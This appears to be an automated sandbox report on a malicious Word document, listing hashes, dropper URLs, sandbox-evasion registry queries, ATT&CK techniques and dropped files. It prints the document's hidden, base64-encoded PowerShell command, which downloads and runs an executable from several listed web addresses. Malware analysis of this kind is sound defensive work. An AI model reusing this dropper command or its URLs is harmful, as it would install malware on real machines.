78df0c6a1ff0609fdf3a8ef30b58fed6db37df9652c5810eefbf70a181967036

General

Target

78df0c6a1ff0609fdf3a8ef30b58fed6db37df9652c5810eefbf70a181967036.doc
Size

181KB
MD5

d4312f2ba569632cdde2d15fbcc221f1
SHA1

971fba47ccac0a1d860d06eaa7452fb40c441f69
SHA256

78df0c6a1ff0609fdf3a8ef30b58fed6db37df9652c5810eefbf70a181967036
SHA512

b9b3f3230288d381d8e441eb47dc363e6f7cdf2e8fb34684bf4ae31feda7c06d722a5049c9ee7ddc33f17fcc2265283cf15bdceced2a1da35ed231b45ee903da
SSDEEP

3072:9NO2y/GdywFyktGDWLS0HZWD5w8K7Nk9rD7IBUdasiv8OP7F:9NO2k4PF7tGiL3HJk9rD7bdasiv86J

Score

10^/10

execution

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://diwafashions.com/wp-admin/mqau6/

exe.dropper

http://designers.hotcom-web.com/ubkskw29clek/qnpm1p/

exe.dropper

http://dixartcontractors.com/cgi-bin/nnuv/

exe.dropper

http://diaspotv.info/wordpress/G/

exe.dropper

http://easyvisaoverseas.com/cgi-bin/v/

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	776	3592	Powershell.exe	83

Blocklisted process makes network request 3 IoCs

flow	pid	Process
27	776	Powershell.exe
87	776	Powershell.exe
90	776	Powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
776	Powershell.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
4812	WINWORD.EXE
4812	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
776	Powershell.exe
776	Powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	776	Powershell.exe

Suspicious use of FindShellTrayWindow 2 IoCs

pid	Process
4812	WINWORD.EXE
4812	WINWORD.EXE

Suspicious use of SetWindowsHookEx 8 IoCs

pid	Process
4812	WINWORD.EXE
4812	WINWORD.EXE
4812	WINWORD.EXE
4812	WINWORD.EXE
4812	WINWORD.EXE
4812	WINWORD.EXE
4812	WINWORD.EXE
4812	WINWORD.EXE

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 4812 wrote to memory of 1096	4812	WINWORD.EXE	86
PID 4812 wrote to memory of 1096	4812	WINWORD.EXE	86

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\78df0c6a1ff0609fdf3a8ef30b58fed6db37df9652c5810eefbf70a181967036.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4812
- C:\Windows\splwow64.exe
  C:\Windows\splwow64.exe 12288
  2⤵
  PID:1096

C:\Windows\System32\WindowsPowerShell\v1.0\Powershell.exe
Powershell -w hidden -en JABWAGgAZAByAGkAZwBwAHQAeQA9ACcARwByAG4AcgBsAHYAagBnAHEAdwBpAGUAbAAnADsAJABRAGgAeQBtAGQAZAB0AHAAdQAgAD0AIAAnADgAOAAyACcAOwAkAFEAeQBmAHIAZgBhAHgAcABzAHAAeQA9ACcAQgBuAGIAbwByAGEAZwB6AGwAcgAnADsAJABLAGEAdABxAGgAcwByAGcAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAJwBcACcAKwAkAFEAaAB5AG0AZABkAHQAcAB1ACsAJwAuAGUAeABlACcAOwAkAE8AYQBqAG4AZAByAHUAbAByAD0AJwBTAHoAdABnAHUAeAB6AHcAdwBrAHUAbwAnADsAJABGAHUAegBqAGQAcwBnAHYAZQA9ACYAKAAnAG4AJwArACcAZQB3ACcAKwAnAC0AbwBiACcAKwAnAGoAZQBjAHQAJwApACAAbgBFAFQALgBXAGUAYgBDAGwAaQBFAE4AVAA7ACQAVgB4AHkAegB5AHYAeQBzAGYAbQA9ACcAaAB0AHQAcAA6AC8ALwBkAGkAdwBhAGYAYQBzAGgAaQBvAG4AcwAuAGMAbwBtAC8AdwBwAC0AYQBkAG0AaQBuAC8AbQBxAGEAdQA2AC8AKgBoAHQAdABwADoALwAvAGQAZQBzAGkAZwBuAGUAcgBzAC4AaABvAHQAYwBvAG0ALQB3AGUAYgAuAGMAbwBtAC8AdQBiAGsAcwBrAHcAMgA5AGMAbABlAGsALwBxAG4AcABtADEAcAAvACoAaAB0AHQAcAA6AC8ALwBkAGkAeABhAHIAdABjAG8AbgB0AHIAYQBjAHQAbwByAHMALgBjAG8AbQAvAGMAZwBpAC0AYgBpAG4ALwBuAG4AdQB2AC8AKgBoAHQAdABwADoALwAvAGQAaQBhAHMAcABvAHQAdgAuAGkAbgBmAG8ALwB3AG8AcgBkAHAAcgBlAHMAcwAvAEcALwAqAGgAdAB0AHAAOgAvAC8AZQBhAHMAeQB2AGkAcwBhAG8AdgBlAHIAcwBlAGEAcwAuAGMAbwBtAC8AYwBnAGkALQBiAGkAbgAvAHYALwAnAC4AIgBzAFAAbABgAEkAVAAiACgAJwAqACcAKQA7ACQAUAB1AHcAcQBvAGYAZwBoAGwAPQAnAE4AYgBwAHgAZABuAHUAZAAnADsAZgBvAHIAZQBhAGMAaAAoACQASABkAGkAawBjAGUAdgBiAHUAYwB6AGgAYQAgAGkAbgAgACQAVgB4AHkAegB5AHYAeQBzAGYAbQApAHsAdAByAHkAewAkAEYAdQB6AGoAZABzAGcAdgBlAC4AIgBkAG8AdwBOAEwAbwBhAGQAYABGAGAASQBsAGUAIgAoACQASABkAGkAawBjAGUAdgBiAHUAYwB6AGgAYQAsACAAJABLAGEAdABxAGgAcwByAGcAKQA7ACQAUAB5AHUAbQBiAG0AdgBiAHYAdAA9ACcASABuAHgAeQB2AGMAcwBuACcAOwBJAGYAIAAoACgAJgAoACcARwAnACsAJwBlAHQALQBJAHQAZQAnACsAJwBtACcAKQAgACQASwBhAHQAcQBoAHMAcgBnACkALgAiAGwAZQBuAGAAZwBUAGgAIgAgAC0AZwBlACAAMgA4ADQAMQAxACkAIAB7AFsARABpAGEAZwBuAG8AcwB0AGkAYwBzAC4AUAByAG8AYwBlAHMAcwBdADoAOgAiAHMAVABhAGAAUgBUACIAKAAkAEsAYQB0AHEAaABzAHIAZwApADsAJABHAGcAdwBqAHkAcwB4AHoAPQAnAFgAYQB2AGMAZABtAHMAbABnAHAAeAAnADsAYgByAGUAYQBrADsAJABVAGIAYQBmAHIAcwBrAGYAeQBiAD0AJwBHAGYAYwB4AGkAeQB1AGEAbQBqAG4AJwB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAUgBwAGEAYwBlAHgAZQByAHUAYgBpAHgAbgA9ACcAQQBrAHoAeQB5AG8AeABoAHAAJwA=
1⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:776

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\Content.MSO\6E8DA81.wmf

Filesize
444B

MD5
d23ca25a7276a06dde3265ece9fc91bb

SHA1
bb026a8fbc52b4580d0fe0c2430263c6f831b80d

SHA256
3934b629439ff73965d12810d9a9dbd32d3db9acaa0c0fd2654c59f904755683

SHA512
a5c6041d2635121ce8eae6cc5577003897a932040151d03a24efa0c3b203e140d335428c61ad0b3f13b406528af560ce0e410a6dc82aebed490017fbe0926ab3

Download Submit
C:\Users\Admin\AppData\Local\Temp\TCDC5BC.tmp\iso690.xsl

Filesize
263KB

MD5
ff0e07eff1333cdf9fc2523d323dd654

SHA1
77a1ae0dd8dbc3fee65dd6266f31e2a564d088a4

SHA256
3f925e0cc1542f09de1f99060899eafb0042bb9682507c907173c392115a44b5

SHA512
b4615f995fab87661c2dbe46625aa982215d7bde27cafae221dca76087fe76da4b4a381943436fcac1577cb3d260d0050b32b7b93e3eb07912494429f126bb3d

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_t2erzbn4.euc.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\UProof\CUSTOM.DIC

Filesize
2B

MD5
f3b25701fe362ec84616a93a45ce9998

SHA1
d62636d8caec13f04e28442a0a6fa1afeb024bbb

SHA256
b3d510ef04275ca8e698e5b3cbb0ece3949ef9252f0cdc839e9ee347409a2209

SHA512
98c5f56f3de340690c139e58eb7dac111979f0d4dffe9c4b24ff849510f4b6ffa9fd608c0a3de9ac3c9fd2190f0efaf715309061490f9755a9bfdf1c54ca0d84

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\fb3b0dbfee58fac8.customDestinations-ms

Filesize
672B

MD5
d54374bf677f46f2ef9e4084ae890dfd

SHA1
745922bbb61f70d2ce023f79dd87936a49959279

SHA256
9aeb6e4c6c977e5e37ab79f068daa93e8ff4e650e8425e810709105e737b28d5

SHA512
e227ababf5758d58b99c0efbdda3a6f11ac9e85451e50f000ab1cf26c19e4408080da6389eda8ef80b4235f06ecd3700b33847bdec5cef9a98e7201caf8e9838

Download Submit
memory/776-54-0x0000021F6F720000-0x0000021F6F742000-memory.dmp

Filesize
136KB

Download
memory/4812-7-0x00007FFE76390000-0x00007FFE76585000-memory.dmp

Filesize
2.0MB

Download
memory/4812-15-0x00007FFE76390000-0x00007FFE76585000-memory.dmp

Filesize
2.0MB

Download
memory/4812-1-0x00007FFE7642D000-0x00007FFE7642E000-memory.dmp

Filesize
4KB

Download
memory/4812-6-0x00007FFE76390000-0x00007FFE76585000-memory.dmp

Filesize
2.0MB

Download
memory/4812-11-0x00007FFE33AB0000-0x00007FFE33AC0000-memory.dmp

Filesize
64KB

Download
memory/4812-14-0x00007FFE76390000-0x00007FFE76585000-memory.dmp

Filesize
2.0MB

Download
memory/4812-16-0x00007FFE76390000-0x00007FFE76585000-memory.dmp

Filesize
2.0MB

Download
memory/4812-21-0x00007FFE76390000-0x00007FFE76585000-memory.dmp

Filesize
2.0MB

Download
memory/4812-22-0x00007FFE76390000-0x00007FFE76585000-memory.dmp

Filesize
2.0MB

Download
memory/4812-20-0x00007FFE76390000-0x00007FFE76585000-memory.dmp

Filesize
2.0MB

Download
memory/4812-19-0x00007FFE33AB0000-0x00007FFE33AC0000-memory.dmp

Filesize
64KB

Download
memory/4812-18-0x00007FFE76390000-0x00007FFE76585000-memory.dmp

Filesize
2.0MB

Download
memory/4812-17-0x00007FFE76390000-0x00007FFE76585000-memory.dmp

Filesize
2.0MB

Download
memory/4812-10-0x00007FFE76390000-0x00007FFE76585000-memory.dmp

Filesize
2.0MB

Download
memory/4812-13-0x00007FFE76390000-0x00007FFE76585000-memory.dmp

Filesize
2.0MB

Download
memory/4812-12-0x00007FFE76390000-0x00007FFE76585000-memory.dmp

Filesize
2.0MB

Download
memory/4812-4-0x00007FFE36410000-0x00007FFE36420000-memory.dmp

Filesize
64KB

Download
memory/4812-8-0x00007FFE76390000-0x00007FFE76585000-memory.dmp

Filesize
2.0MB

Download
memory/4812-9-0x00007FFE76390000-0x00007FFE76585000-memory.dmp

Filesize
2.0MB

Download
memory/4812-2-0x00007FFE36410000-0x00007FFE36420000-memory.dmp

Filesize
64KB

Download
memory/4812-5-0x00007FFE36410000-0x00007FFE36420000-memory.dmp

Filesize
64KB

Download
memory/4812-74-0x00007FFE76390000-0x00007FFE76585000-memory.dmp

Filesize
2.0MB

Download
memory/4812-76-0x00007FFE76390000-0x00007FFE76585000-memory.dmp

Filesize
2.0MB

Download
memory/4812-75-0x00007FFE7642D000-0x00007FFE7642E000-memory.dmp

Filesize
4KB

Download
memory/4812-77-0x00007FFE76390000-0x00007FFE76585000-memory.dmp

Filesize
2.0MB

Download
memory/4812-3-0x00007FFE36410000-0x00007FFE36420000-memory.dmp

Filesize
64KB

Download
memory/4812-0-0x00007FFE36410000-0x00007FFE36420000-memory.dmp

Filesize
64KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads